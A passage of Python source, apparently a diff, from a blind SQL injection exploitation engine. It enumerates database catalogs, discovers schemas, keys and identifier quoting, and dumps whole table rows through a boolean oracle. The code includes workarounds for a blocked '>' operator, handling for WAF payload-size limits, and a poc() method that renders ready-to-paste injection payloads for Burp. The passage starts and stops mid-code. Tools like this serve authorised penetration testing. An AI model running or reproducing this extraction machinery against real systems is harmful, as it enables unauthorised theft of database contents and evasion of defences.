complete-or-stop: a partial name is a bad keyset bound + except OracleUndecided: + self.dialect.notes.append("enumeration stopped early (oracle undecided - permission/charset wall)") + break + if not res.complete: # incomplete (truncated / unresolved / unverified) name is + self.dialect.notes.append("enumeration stopped: incomplete identifier read (unsafe keyset bound)") + break # an unsafe keyset bound - a soft case/accent warning still passes + name = res.value + if not name: + break + if name in names: + # revisiting an already-listed name (not just the immediate predecessor) means the + # paging bound and the recovered spelling disagree - e.g. the keyset compare and + # the char read resolve under DIFFERENT collations, so the walk cycles f,e,f,e... + # Stop with a PARTIAL, de-duplicated list rather than loop or emit duplicates. + self.dialect.notes.append("enumeration stopped: identifier %r revisited " + "(paging/read-back collation mismatch) - list may be partial" % name) + break + if not res.exact and not self._nonExactNamesNoted: + # the name paged correctly (the walk uses the engine's OWN collation, so a + # case/accent-ambiguous bound is self-consistent) but its exact spelling is NOT + # proven - flag it, since a caller may reuse the name as an exact SQL identifier. + self._nonExactNamesNoted = True + self.dialect.notes.append("enumerated identifiers are case/accent-approximate " + "(no byte-exact primitive) - exact spelling not proven") + names.append(name) + self._emit(name) # live feedback per discovered name + if _REPL in name: + # an unrecoverable char in the name can't form a reliable keyset bound; + # stop rather than loop on a corrupt (or repeating) boundary + self.dialect.notes.append("enumeration stopped: %r holds an unrecoverable character" % name) + break + prev = name + return names + + def _beyondSql(self, expr, prev, unit, seen=None, boundfn=None): + # SQL fragment picking the next un-taken row for keyset paging, honoring the + # discovered comparator so paging survives a blocked '>'. '>' pages by "sorts + # after prev"; a blocked '>' keeps numeric keys ordered via BETWEEN, and pages + # text keys order-free by "key NOT IN (already-seen)" (needs only IN, and dodges + # any collation/sentinel guesswork). Returns None when none of these is possible + # - the caller then stops with the rows it already has. + lit = boundfn or self.buildLiteral # rowids may need a quoted literal (see _ROWID_LITBOUND) + if self._comparator == "gt": + bound = prev if unit == "int" else lit(prev) + return "%s>%s" % (expr, bound) + if self._comparator == "between" and unit == "int": + return "%s BETWEEN %s+1 AND 9223372036854775807" % (expr, prev) + if self._cmpTemplate is not None and unit == "int": # operator-free ordered rung + return self._cmpTemplate.format(expr=expr, n=prev) # "expr > prev" without '>' + if self._inOk and seen: + lits = ",".join((str(k) if unit == "int" else lit(k)) for k in seen) + frag = "%s NOT IN (%s)" % (expr, lits) + # NOT IN(all-seen) grows every row (quadratic payload / WAF surface). Beyond a + # rendered-size budget, stop with a PARTIAL result + note rather than emitting an + # ever-larger request (and never let one un-renderable literal poison the walk). + if len(frag) > _MEMBERSHIP_PAGING_BUDGET: + self.dialect.notes.append("membership paging stopped: NOT IN() payload budget exceeded (partial)") + return None + return frag + return None + + def hasTable(self, table, schema=None): + """Does `table` (optionally in `schema`) resolve? COUNT-free existence.""" + q = self.quoteIdent(table) + if schema: + q = "%s.%s" % (self.quoteIdent(schema), q) + try: + return self._exists(q) + except OracleUndecided: + return False + + def tableSchema(self, table): + """Resolve which schema a table actually lives in, from the catalog. PG-family + tables are commonly in 'public' while current_schema() is the login user's own + (empty) schema, so scoping to the current schema misses them. Returns the schema + name, or None if the catalog has no schema concept or the table isn't found.""" + ce = self.dialect.catalogEnum + if "schema" not in ce or "table" not in ce: + return None + schemacol = ce["schema"][0] + namecol, source = ce["table"][0], ce["table"][1] + if ce["schema"][1] != source: # schema lives in a SEPARATE catalog view (MSSQL + return None # sys.schemas) - can't co-query it against sys.tables + # prefer a non-system schema (a system table could share the name) + excl = ("pg_catalog", "information_schema", "sys", "mysql", "performance_schema", + "SYS", "INFORMATION_SCHEMA", "pg_toast") + notsys = " AND %s NOT IN (%s)" % (schemacol, ",".join(self.buildLiteral(s) for s in excl)) + for tail in (notsys, ""): + expr = "(SELECT MIN(%s) FROM %s WHERE %s=%s%s)" % (schemacol, source, namecol, self.buildLiteral(table), tail) + try: + if self._ask("%s IS NOT NULL" % expr): + res = self.extractResult(expr) # a SCHEMA NAME becomes a qualifier -> require EXACT + if res.exact and res.value: + return res.value + except OracleUndecided: + break + return None + + def quoteIdent(self, name): + """Quote a target-supplied identifier (table/column) so reserved words, + spaces, dots, or embedded quote chars are referenced safely. A name is an + IDENTIFIER, never a raw SQL fragment. Falls back to the bare name if no + quoting style was discovered.""" + q = self.dialect.identQuote + if not q: + return name + return "%s%s%s" % (q[0], name.replace(q[1], q[1] * 2), q[1]) + + def qualify(self, table, schema=None): + """The quoted, optionally schema-scoped table reference used for a dump - the SAME + expression for count, key discovery, and row retrieval, so a non-default schema can't + make the count query hit a different (unqualified) table than the dump.""" + qt = self.quoteIdent(table) + return "%s.%s" % (self.quoteIdent(schema), qt) if schema is not None else qt + + def _ensureQuoting(self, table): + # discover the identifier-quote style using the (known-present) table: + # the wrong quote char makes SELECT ... FROM error -> reject + if self.dialect.identQuote is not None or self.dialect.identQuote is False: + return self.dialect.identQuote or None + with self._probePhase(): # a wrong quote char makes FROM error -> "unusable", not undecided + for open_q, close_q in _IDENT_QUOTE: + quoted = "%s%s%s" % (open_q, table.replace(close_q, close_q * 2), close_q) + if self._exists(quoted): + self.dialect.identQuote = (open_q, close_q) + return self.dialect.identQuote + self.dialect.identQuote = False # sentinel: probed, none worked + return None + + def columns(self, table, schema=None, limit=50): + """Enumerate a table's column names (keyset), optionally scoped to `schema` + (so identically-named tables in different schemas don't merge columns). Falls + back to brute-forcing common column names when no column catalog is usable.""" + names = None + spec = _COLUMN_SPECS.get(self.dialect.catalog) + if spec and self._canPage: + col, source, wheretmpl = spec[0], spec[1], spec[2] + ordcol = spec[3] if len(spec) > 3 else None # catalog's ordinal-position column + schemacol = spec[4] if len(spec) > 4 else None # the column source's OWN schema column + lit = self.buildLiteral(table) + filt = (wheretmpl % lit) if wheretmpl else "" + if schema is not None and schemacol: # explicit (e.g. Oracle OWNER, not table_schema) + filt += " AND %s=%s" % (schemacol, self.buildLiteral(schema)) + elif schema is not None and "table_name" in (wheretmpl or ""): # ANSI-shaped filter + filt += " AND table_schema=%s" % self.buildLiteral(schema) + elif schema is not None and "TABLE_NAME" in (wheretmpl or ""): + filt += " AND TABLE_SCHEMA=%s" % self.buildLiteral(schema) + where = (" WHERE %s" % filt) if filt else "" + # pragma_table_info(%s) takes the table in the source itself + source = source % lit if "%s" in source else source + names = self._keysetWalk(col, source, where, limit) + if names and ordcol: + names = self._orderByOrdinal(names, col, source, filt, ordcol) + if not names: + names = self.bruteColumns(table, schema, limit) # no catalog -> guess the usual names + return names + + def _orderByOrdinal(self, names, namecol, source, filt, ordcol): + # reorder the enumerated columns by their catalog ordinal so a dump matches the + # table's DEFINITION order, not the alphabetical MIN()-keyset order (+1 read per + # column). Degrades gracefully: a missing/wrong ordinal sorts last, never crashes. + keyed = [] + for n in names: + cond = "%s=%s" % (namecol, self.buildLiteral(n)) + if filt: + cond = "%s AND %s" % (filt, cond) + try: + o = self.extractInteger("(SELECT MIN(%s) FROM %s WHERE %s)" % (ordcol, source, cond)) + except (OracleUndecided, OverflowError): + o = None + keyed.append((o if o is not None else 1 << 30, n)) + return [n for _, n in sorted(keyed, key=lambda t: (t[0], t[1]))] + + def _discoverKey(self, table, schema=None): + # a primary/unique key column, preferred over a physical rowid. keyset needs + # MIN() over it and a `> prev` bound, both of which a key column supports. + spec = _KEY_SPECS.get(self.dialect.catalog) + if not spec: + return None + source, tcol, ncol, extra = spec + filt = "%s=%s" % (tcol, self.buildLiteral(table)) + if schema is not None: + filt += " AND table_schema=%s" % self.buildLiteral(schema) + if extra: + filt += " AND %s" % extra + # take the alphabetically-first key column (deterministic); a compound key + # still yields a usable ordering column for the walk + keyexpr = "(SELECT MIN(%s) FROM %s WHERE %s)" % (ncol, source, filt) + # discovering the key COLUMN NAME is setup, not data - run it inside the probe phase so a + # catalog lacking this key structure degrades to "no key" (not fatal) AND so the name does + # not surface on the live "retrieved:" feed (it is a column name, not a dumped entry). + with self._probePhase(): + if self._ask("%s IS NOT NULL" % keyexpr): + res = self.extractResult(keyexpr) # a key COLUMN NAME becomes SQL -> require an EXACT value + if res.exact and res.value: # (a case-ambiguous name could mis-target) + return res.value + return None + + def columnType(self, expr): + """Coarse type hint: 'numeric' vs 'text'. RELIABLE ONLY ON STRICTLY-TYPED + engines (PostgreSQL/Oracle/SQL Server/DB2), where SUM() over a text column + errors. Dynamically-typed engines (SQLite, MySQL non-strict) coerce text->0 + so SUM succeeds - there the hint is unreliable and returns 'unknown' when it + can't tell. Not a substitute for reading the catalog's declared type.""" + sums = self._ask("(SELECT SUM(%s) FROM (SELECT %s) t) IS NOT NULL" % (expr, expr)) + if not sums: + return "text" # SUM errored -> definitely not numeric + # SUM worked: real numeric, OR a coercing dynamic engine. disambiguate with a + # cheap non-digit check on the first char (via the discovered substring) + try: + one = self._sub(self._resolveText(expr), 1, 1) + if self._ask("%s>='0' AND %s<='9'" % (one, one)) or self._ask("%s='-'" % one): + return "numeric" + except Exception: + pass + return "unknown" + + def _classifyUnit(self, keyexpr, qtable): + # a key/rowid reads as int (fast extractInteger + numeric bound) or opaque text + # (extract + literal bound). DEFAULT TEXT (safe, just slower) - misreading a text or + # decimal/float key as int DESTROYS the paging boundary (reviewer: 'a','1' and 1.5,2.5 + # both broke). 'int' requires an EXACT-INTEGER round-trip, not a mere numeric sort: + # - strict engines: `text = ` ERRORS -> text (probe phase reads False) + # - a decimal/float (1.5) extracts as 2 and `1.5 = 2` is False -> text + # - a genuine integer N round-trips `expr = N` -> int + # all rendered through the DISCOVERED comparator (_gtNum), never a raw '>='/'<'. + q = "(SELECT MIN(%s) FROM %s)" % (keyexpr, qtable) + if self._comparator == "membership": + return "text" # no ordered numeric compare -> literal-bound text + with self._probePhase(): # a numeric comparison on a TEXT key ERRORS on strict engines -> False + if not (self._numDefined(q) and self._gtNum(q, -(1 << 62) - 1, 1 << 62)): + return "text" # not comparable as a number (or NULL) + try: + n = self.extractInteger(q) # signed, via the discovered comparator + except (OracleUndecided, OverflowError): + return "text" + # 'int' requires BOTH: (a) numeric equality `q = n` (catches a decimal - 1.5 extracts + # as 2 and 1.5 = 2 is false), and (b) the value LOOKS numeric - first char a digit or + # '-'. A loose engine coerces text->0 so `'AA' = 0` is spuriously true, but 'AA' starts + # with a non-digit; and (b) uses no `=`-to-string (SQLite won't coerce `1 = '1'`). + if n is not None and self._ask("(%s)=(%d)" % (q, n)) and self._looksNumeric(q): + return "int" + return "text" + + def _looksNumeric(self, expr): + # first char is a digit or '-' (order-free IN test, so a blocked '>' doesn't matter). + # rejects non-digit text a loose engine coerced to 0; no substring to inspect -> can't + # refute -> keep the numeric verdict (never break a real int on a substring-less floor). + if self.dialect.substring is None: + return True + try: + one = self._sub(self._resolveText(expr), 1, 1) + return self._ask("%s IN ('0','1','2','3','4','5','6','7','8','9','-')" % one) + except OracleUndecided: + return True + + def _discoverRowid(self, qtable): + # find a MIN-aggregatable physical row identifier for the (already-quoted) + # table; classify int vs opaque text (SQLite rowid is int; Oracle ROWID text). + # each candidate is a PROBE: a pseudo-column the engine lacks (ROWID on MSSQL, + # ctid off-PG, ...) errors, which must skip to the next candidate, not fail the dump + with self._probePhase(): + for name, tmpl, _unit in _ROWID: + rid = tmpl % qtable if "%s" in tmpl else tmpl + if not self._ask("(SELECT MIN(%s) FROM %s) IS NOT NULL" % (rid, qtable)): + continue + unit = self._classifyUnit(rid, qtable) + # a physical row-id used as a keyset must be a sane NON-NEGATIVE int; + # Informix's `rowid` reads as a bogus negative here -> reject it and fall + # through to the value-keyset walk rather than feed extractInteger garbage + if unit == "int" and self._comparator == "gt" and \ + not self._ask("(SELECT MIN(%s) FROM %s)>=0" % (rid, qtable)): + continue + return Cap(name, rid, unit=unit) + return None + + def _keyIsUnique(self, kexpr, qtable, total=None): + # a keyset ordering column MUST be single-column unique AND non-NULL, else `> prev` + # paging silently DROPS rows: a composite key's first column repeats (skipping the + # shared-value rows), and NULL keys sort outside the walk. Verified against the DATA + # (COUNT(*) == COUNT(DISTINCT key)) - a NULL key or duplicate makes distinct < total - + # so it holds regardless of how the constraint catalog was joined. + try: + if total is None: + total = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable) + distinct = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s)" % (kexpr, qtable)) + except (OracleUndecided, OverflowError): + return False + return total is not None and distinct is not None and total == distinct + + def _walkKey(self, qtable, table, schema, total=None): + # ordering key, best-first: primary/unique key -> physical row-id -> value. + # returns (key_expr, unit, source_label, boundfn); boundfn formats a keyset + # comparison bound (quoted literal for opaque-typed row-ids, else buildLiteral). + key = self._discoverKey(table, schema) + if key: + kexpr = self.quoteIdent(key) + if self._keyIsUnique(kexpr, qtable, total): + return kexpr, self._classifyUnit(kexpr, qtable), "key:%s" % key, self.buildLiteral + self.dialect.notes.append("key %s not single-column unique -> row-id/value keyset" % key) + rid = self._discoverRowid(qtable) + if rid is not None: + boundfn = self._lit if rid.name in _ROWID_LITBOUND else self.buildLiteral + return rid.template, rid.get("unit"), "rowid:%s" % rid.name, boundfn + return None, None, "value", self.buildLiteral + + def _rowPayload(self, cols): + # one hex-framed, NULL-PRESERVING token per column. When a length fn + text cast exist, + # each token embeds an INDEPENDENT character-length witness and a terminal marker: + # V:; (value) N; (SQL NULL) + # so a capped/lossy HEX or CONCAT that SHORTENS the value is caught (`_splitRow` rejects a + # token whose decoded char count != the declared source length, or whose ';' is missing). + # Length counts CHARACTERS -> invariant under a re-encoding cast, and is measured by a + # DIFFERENT primitive than hex/concat, so it is not self-certifying. Without a length fn / + # cast the plain 'N' / 'V'+hex grammar (',' delimited) is used - framing still works, but + # the whole-value length witness is unavailable (noted). Needs hex + concat to frame a row. + if not self._ensureHexfn() or not self.dialect.concat: + return None, False # can't frame a whole row -> caller scavenges cell-by-cell + self._rowLenFramed = bool(self.dialect.length and self.dialect.textcast) + if not self._rowLenFramed: + self.dialect.notes.append("row framing without a length witness (no length fn/cast) - " + "a capped hex/concat could shorten a cell undetected") + parts = [] + for c in cols: + qc = self.quoteIdent(c) # column names are identifiers, not raw SQL + # text-cast before hex so a numeric/date column yields its TEXT form, not + # DBMS-internal storage bytes (SQL Server CAST(1 AS VARBINARY)=00000001) + text = self.dialect.textcast[1].format(expr=qc) if self.dialect.textcast else qc + hexed = self.dialect.hexfn[1].format(expr=text) + if self._rowLenFramed: + lenstr = self.dialect.textcast[1].format(expr=self._len(qc)) # source CHAR length as text + body = self._concatMany(["'V'", lenstr, "':'", hexed, "';'"]) + parts.append("CASE WHEN (%s) IS NULL THEN 'N;' ELSE %s END" % (qc, body)) + else: + marked = self.dialect.concat[1].format(a="'V'", b=hexed) + parts.append("CASE WHEN (%s) IS NULL THEN 'N' ELSE %s END" % (qc, marked)) + if self._rowLenFramed: + return self._concatMany(parts), True # tokens self-terminate with ';' + interleaved = [parts[0]] + for p in parts[1:]: + interleaved.append("','") # the ',' row-token delimiter + interleaved.append(p) + return self._concatMany(interleaved), True # flat when concat is variadic + + def _cellRow(self, qtable, cols, where): + # SCAVENGER row read: pull each column on its own. A single value needs no comma/ + # marker framing (so no concat) and its NULL is detected directly (so no hex 'N' + # sentinel) - this is how a dump still works on a back-end that can neither + # concatenate nor hex-encode. Slower (one extraction per cell), but it retrieves. + row = [] + for c in cols: + res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (self.quoteIdent(c), qtable, where)) + if not res.complete: + return None, False + row.append(res.value) + return row, True + + def _splitRow(self, data, ncols): + # returns (row, valid); a malformed token count/marker/length means invalid, never + # a silently padded/truncated plausible row. + # framed cells are hex of a TEXT-CAST value, whose bytes are in the CAST's output charset + # (the connection/expression charset - MySQL re-encodes a latin1 column to utf-8 here), so + # use the PROVEN hex encoding, NOT the column's declared charset (that governs RAW bytes). + if data is None: + return None, False + # EFFECTIVE encoding: the proven per-expression hex codec, else the discovered charset (now + # the CONNECTION charset, which is what the CAST outputs). Same evidence the dump-exactness + # check below consumes, so decode and integrity never disagree. + enc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset + if getattr(self, "_rowLenFramed", False): + # V:; / N; -> every token MUST carry its terminal ';' and (for a value) + # decode to EXACTLY the declared source char length; a capped hex/concat fails one. + if not data.endswith(";"): # a truncated final token dropped its terminator + return None, False + toks = data.split(";") + if toks and toks[-1] == "": + toks = toks[:-1] # drop the trailing terminator + if len(toks) != ncols: + return None, False # a truncated final token loses its ';' -> count off + vals = [] + for t in toks: + if t == "N": + vals.append(None) + continue + if not t.startswith("V") or ":" not in t: + return None, False + lenpart, _, hexpart = t[1:].partition(":") + if not lenpart.isdigit(): + return None, False + v = "" if hexpart == "" else self._decodeHexToken(hexpart, enc) + if v is None or len(v) != int(lenpart): # INDEPENDENT length witness: decoded != source + return None, False + vals.append(v) + return vals, True + toks = data.split(",") # plain grammar (no length witness available) + if len(toks) != ncols: + return None, False + vals = [] + for t in toks: + if t == "N": + vals.append(None) + elif t == "V": + vals.append("") + elif t.startswith("V"): + v = self._decodeHexToken(t[1:], enc) + if v is None: + return None, False + vals.append(v) + else: + return None, False + return vals, True + + def dump(self, table, columns=None, schema=None, limit=10): + """Extract actual ROW DATA. Table/column names are treated as quoted + IDENTIFIERS (never raw SQL). Optionally scoped to `schema`. Rows are walked + by a primary/unique KEY when discoverable, else a physical row-id, else the + row's own value (distinct-only); each row is one hex-framed, NULL-preserving, + text-cast extraction. Completeness is checked against COUNT(*). Returns + {columns, rows, complete, keyed_by}.""" + self._ensureQuoting(table) + qtable = self.qualify(table, schema) + cols = columns or self.columns(table, schema) + if not cols: + return None + payload, framed = self._rowPayload(cols) + if not framed: # no hex/concat to frame a whole row + self.dialect.notes.append("dump %s: no hex/concat framing - scavenging cell-by-cell" % table) + try: + expected = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable) + except (OracleUndecided, OverflowError): # unknown/huge count -> walk up to `limit`, not a failure + expected = None + if expected == 0: + return {"columns": cols, "rows": [], "complete": True, "exact": True, "keyed_by": None} + keyexpr, unit, keyed_by, boundfn = self._walkKey(qtable, table, schema, total=expected) + rows, ok = [], True + + def readrow(where): + # a whole row: one framed extraction when hex+concat exist, else cell-by-cell. The + # framed token carries an INDEPENDENT length witness + terminal marker (see _rowPayload), + # so _splitRow rejects a bounded/lossy hex/concat that shortened a cell; a rejected or + # errored framed read degrades to cell-by-cell (which reads each cell at its true length, + # so it cannot be cast-truncated) rather than dropping the row. + if framed: + try: + res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (payload, qtable, where), codes=_HEX_PAYLOAD_CODES) + if res.complete: + row, ok2 = self._splitRow(res.value, len(cols)) + if ok2: + return row, ok2 + except OracleUndecided: + pass # framed whole-row read errored -> cell-by-cell + return self._cellRow(qtable, cols, where) + + # a best-effort walk must DEGRADE, not crash: an undecided/over-budget probe + # (permission or charset wall) stops with whatever rows were recovered + try: + if keyexpr is not None: # key / row-id keyset (preferred) + prev, keys = None, [] + while len(rows) < limit: + if prev is None: + where = "" + else: + beyond = self._beyondSql(keyexpr, prev, unit, seen=keys, boundfn=boundfn) + if beyond is None: # no ordered comparator, no IN -> can't page + break + where = " WHERE %s" % beyond + ke = "(SELECT MIN(%s) FROM %s%s)" % (keyexpr, qtable, where) + if unit == "int": + key = self.extractInteger(ke) # None = NULL (MIN over empty set) = no more rows + else: + res = self.extractResult(ke) # never page on a partial/unverified key bound + if res.is_null: # MIN over empty set -> genuinely done + break + if not res.complete: # incomplete key can't be a reliable bound + ok = False + self.dialect.notes.append("dump %s: incomplete key read -> stopped (partial)" % table) + break + key = res.value # '' is a VALID (single, unique) key row, not a terminator + if key is None or key == prev: # None = done; == prev = paging stuck (safety) + break + bound = key if unit == "int" else boundfn(key) + row, valid = readrow("%s=%s" % (keyexpr, bound)) + if not valid: # a truncated/invalid cell != complete row + ok = False + break + rows.append(row) + self._emit(", ".join("NULL" if c is None else c for c in row)) + prev = key + keys.append(key) # for order-free NOT IN() paging + else: # value keyset (distinct rows only) + ok = False + # ACCURATE loss report: a framed page-key is the whole-row tuple, so only + # fully-identical rows collapse; a bare first-column page-key collapses every + # row that merely shares column 1 (much lossier) - say which, don't blur it + # also: MIN() never selects a NULL page-key, so rows with a NULL in the page + # column are unreachable by this walk - call that out too (not just collapse) + loss = "identical rows collapse" if framed else \ + "rows sharing column '%s' collapse, and rows with a NULL there are unreachable" % cols[0] + self.dialect.notes.append("dump %s: no key/row-id, value-keyset walk (%s)" % (table, loss)) + pageexpr = payload if framed else self.quoteIdent(cols[0]) + # the framed page-key is text; a bare first-column page-key may be numeric, + # and a numeric column MUST be read via extractInteger + a numeric bound - a + # text SUBSTR read mangles e.g. Derby's space-padded INT->CHAR into a garbage + # bound ("id=' '") that matches no row (dump silently returns 0 entries) + pageunit = "text" if framed else self._classifyUnit(pageexpr, qtable) + prev, seen = None, [] + while len(rows) < limit: + if prev is None: + where = "" + else: + beyond = self._beyondSql(pageexpr, prev, pageunit, seen=seen) + if beyond is None: # no ordered comparator, no IN -> can't page + break + where = " WHERE %s" % beyond + if framed: + res = self.extractResult("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where), codes=_HEX_PAYLOAD_CODES) + pv, valid = res.value, res.complete + row, ok2 = self._splitRow(pv, len(cols)) if pv is not None else (None, False) + valid = valid and ok2 + elif pageunit == "int": # numeric first column: read + bound as a number + pv = self.extractInteger("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where)) + row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, pv)) if pv is not None else (None, False) + else: # page on the first (text) column, read cells under it + kr = self.extractResult("(SELECT MIN(%s) FROM %s%s)" % (pageexpr, qtable, where)) + if kr.is_null: # MIN over empty set -> done + break + if not kr.complete: # incomplete page bound -> can't page reliably, stop + break + pv = kr.value # '' is a valid first-column value, not a terminator + row, valid = self._cellRow(qtable, cols, "%s=%s" % (pageexpr, self.buildLiteral(pv))) + if pv is None or pv == prev or not valid: + break + rows.append(row) + self._emit(", ".join("NULL" if c is None else c for c in row)) + if isinstance(pv, str) and _REPL in pv: # a corrupt (unrecoverable) text bound can't page reliably; an int bound never carries _REPL + break + prev = pv + seen.append(pv) # for order-free NOT IN() paging + except (OracleUndecided, OverflowError): + # degrade, never crash: an undecided oracle (permission/charset wall) or a + # bogus key that overflows extractInteger stops the walk with partial rows + self.dialect.notes.append("dump %s stopped early (oracle undecided / bad key)" % table) + ok = False + # TWO independent dimensions: `complete` = COVERAGE (every row, extracted cleanly); + # `exact` = CONTENT integrity (the recovered bytes are provably the source's). A dump can + # cover every row yet hold case/accent-ambiguous cells when the dialect has no byte-exact + # primitive (no hex/binary, not code-codepoint) - callers must surface that, not hide it. + complete = ok and expected is not None and len(rows) == expected + exact = bool(self._byteFaithful()) + # EFFECTIVE decode codec (same evidence _splitRow uses): a proven hex encoding OR the + # discovered charset. Non-ASCII text is provably exact only when that codec is KNOWN - + # using the same field for decode AND for the exact verdict, so a proven-utf-8 dump is + # NOT falsely inexact, and a decode that fell back to a guess is NOT falsely exact. + effenc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset + note = None + if rows and not exact: + note = ("dump %s: values recovered via a collation-dependent comparison " + "(no byte-exact primitive) - case/accents may be inexact" % table) + elif exact and self.dialect.hexfn is not None and not effenc and self._hasNonAscii(rows): + # bytes are faithful (hex), but with no PROVEN codec the TEXT reading of non-ASCII + # cells is a guess (utf-8 vs a single-byte codepage) -> content is not provably exact + exact = False + note = ("dump %s: non-ASCII values decoded under an undetermined character set " + "- text may be inexact" % table) + elif exact and self.dialect.textcast and not self._castPreservesAccents(): + # bytes are faithful, but they are the output of a text cast NOT proven to preserve a + # canary accented char -> a narrowing cast may have folded unrepresentable chars to "?" + # at equal length (invisible to the length witness AND to a non-ASCII scan of the + # ALREADY-folded output) -> content is not provably source-exact + exact = False + note = ("dump %s: values extracted through a text cast not proven to preserve accented " + "characters (possible lossy/narrowing cast) - content is not provably " + "source-exact" % table) + if note: + self.dialect.notes.append(note) + return {"columns": cols, "rows": rows, "complete": complete, "exact": exact, "keyed_by": keyed_by} + + @staticmethod + def _hasNonAscii(rows): + return any(any(ord(ch) > 127 for ch in v) for row in rows for v in row + if isinstance(v, type(u""))) + + def _castPreservesAccents(self): + # The framed dump routes every column through the discovered text cast. A NARROWING cast + # (Unicode source -> codepage target) substitutes an unrepresentable char ("e"-acute -> + # "?") WITHOUT changing the character count, so neither the length witness nor the hex + # decode can catch it - the "?" is faithfully hexed and reported as exact. Confirm the + # cast preserves a canary accented char (built server-side from its code point, so no raw + # byte crosses the transport): if CAST(canary)=canary holds, representable accents survive; + # if it folds, the cast is lossy and non-ASCII content is not source-exact. Server-side + # equality (not a client decode) sidesteps CHAR() byte-vs-codepoint quirks. Cached; + # conservative (False) when a cast is applied but the canary can't be built/decided. + if self._castPreserves is None: + if not self.dialect.textcast: + self._castPreserves = True # no cast applied -> nothing to fold + elif (self.dialect.charset or "").replace("-", "").lower().startswith("utf"): + # the cast targets the (Unicode) connection/DB charset, which represents EVERY code + # point -> no source char can fold. This is a PROOF (not a per-value guess): a + # utf-8/16 target cannot substitute an unrepresentable char. + self._castPreserves = True + else: + # an unproven cast must NOT certify source identity: default False, promote only on + # a successful preservation probe. The canary needs a TRUE-codepoint constructor - a + # byte-based CHAR() (MySQL) yields the two bytes of U+20AC, not the euro char, so it + # cannot probe a fold; without one the cast stays unproven (conservatively inexact). + self._castPreserves = False + cf = self._codeCharTmpl() + if cf and self.dialect.length: + euro = cf.format(code=0x20AC) + ch = cf.format(code=0xE9) # "e"-acute + try: + with self._probePhase(): + if self._ask("(%s)=1" % self._len(euro)): # constructor => one codepoint + self._castPreserves = self._ask( + "(%s)=(%s)" % (self.dialect.textcast[1].format(expr=ch), ch)) + except OracleUndecided: + pass + return self._castPreserves + + def poc(self, expr, position=1, gt=64): + """Emit a clean, pasteable boolean payload for ONE probe (the exploitation + primitive), so a tester can drop it into Burp without re-running discovery.""" + one = self._sub(expr, position, 1) + if self.dialect.compare == "code" and self.dialect.charcode: + # numeric code comparison -> render through the DISCOVERED comparator, so the PoC + # works on the very target where '>' was blocked (BETWEEN / operator-free rung) + code = self.dialect.charcode[1].format(expr=one) + if self._comparator == "gt": + return "%s>%d" % (code, gt) + if self._comparator == "between": + return "%s BETWEEN %d AND %d" % (code, gt + 1, 1 << 62) + if self._cmpTemplate is not None: + return self._cmpTemplate.format(expr=code, n=gt) + raise RuntimeError("ordered PoC unavailable: membership comparator has no '>' form") + # hex / collation / ordinal compare strings or wrapped values with '>'; if '>' was + # blocked (comparator isn't 'gt') there is NO equivalent renderer for these text modes + # -> refuse rather than emit a predicate the target already rejected. + if self._comparator != "gt": + raise RuntimeError("ordered PoC unavailable: '>' blocked and %s mode has no operator-free form" % self.dialect.compare) + if self.dialect.compare == "hex" and self.dialect.hexfn: + return "%s>'%02X'" % (self.dialect.hexfn[1].format(expr=one), gt) + if self.dialect.compare == "collation" and self.dialect.binwrap: + w = self.dialect.binwrap[1] + return "%s>%s" % (w.format(x=one), w.format(x=self._lit(chr(gt)))) + if self.dialect.compare in ("equality", "equality-ci"): + # equality mode was chosen BECAUSE ordering isn't trustworthy - don't + # fabricate a `>` predicate the target's collation may not honour + raise RuntimeError("ordered PoC unavailable in equality-only compare mode") + return "%s>%s" % (one, self._lit(chr(gt))) + + def strategy(self): + """Freeze the discovered dialect into an immutable InferenceStrategy - the + hand-off artifact for a host inference engine (see hostExtract). Ensures the + hex fn and quoting/backslash flags are resolved before freezing.""" + d = self.dialect + if not self._discovered: + self.discover() + self._ensureHexfn() + self._lit("x") # resolve backslash-escape flag + return InferenceStrategy( + product=d.product or d.family, family=d.family, compare_mode=d.compare, + catalog=d.catalog, dual=(d.dual[1] if d.dual else ""), notes=tuple(d.notes), + substring=(d.substring[1] if d.substring else None), + index_base=(d.substring.get("index_base", 1) if d.substring else 1), + length=(d.length[1] if d.length else None), + charcode=(d.charcode[1] if d.charcode else None), + charcode_sem=(d.charcode.get("semantics") if d.charcode else None), + hexfn=(d.hexfn[1] if d.hexfn else None), + binwrap=(d.binwrap[1] if d.binwrap else None), + charfrom=(d.charfrom[1] if d.charfrom else None), + concat=(d.concat[1] if d.concat else None), + identquote=(d.identQuote if d.identQuote and d.identQuote is not False else None), + backslash=bool(self._backslashEscape), + comparator=self._comparator, cmp_template=self._cmpTemplate, + # carry the byte-exact witness so the host mirrors the native EXACT/AMBIGUOUS verdict + # (plain '='/collation is not byte-exact; only proven hex / binary / codepoint is) + exact_witness=("hex" if d.hexfn is not None else + "binary" if (d.binwrap is not None and d.binwrap.get("byte_exact")) else + "codepoint" if (d.compare == "code" and d.charcode is not None + and d.charcode.get("semantics") == "codepoint") else None)) + + def enumerateBulk(self, kind, maxchars=4096, encoding=None): + """One-shot full dump: aggregate the whole column into one delimited string + and extract it once. When a hex function exists each value is HEX-encoded + before aggregation, so the ',' delimiter is unambiguous (a comma can't occur + in a hex token) and any charset survives; otherwise raw values are joined + (comma-ambiguous, noted). Completeness is checked against an independent + COUNT(DISTINCT). Returns a BulkResult (list-like).""" + if kind not in self.dialect.catalogEnum: + return None + col, src, where = self._source(kind) + # independent COUNT FIRST - so a single empty-string row isn't mistaken for + # an empty catalog (the aggregate of one '' can look like no rows) + try: + expected = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s%s)" % (col, src, where)) + except OverflowError: # huge count -> unknown, not a failure + expected = None + if expected == 0: + return BulkResult([], expected=0, complete=True) + if not self._ensureHexfn() or not self.dialect.concat: # bulk framing needs BOTH hex and concat + self.dialect.notes.append("bulk %s: no hex/concat framing - use enumerateKeyset" % kind) + return None + # frame each value as V; - 'V' distinguishes an empty string from a NULL + # aggregate over zero rows, and the ';' TERMINAL MARKER (absent from the hex alphabet + # and the ',' separator) proves the token is 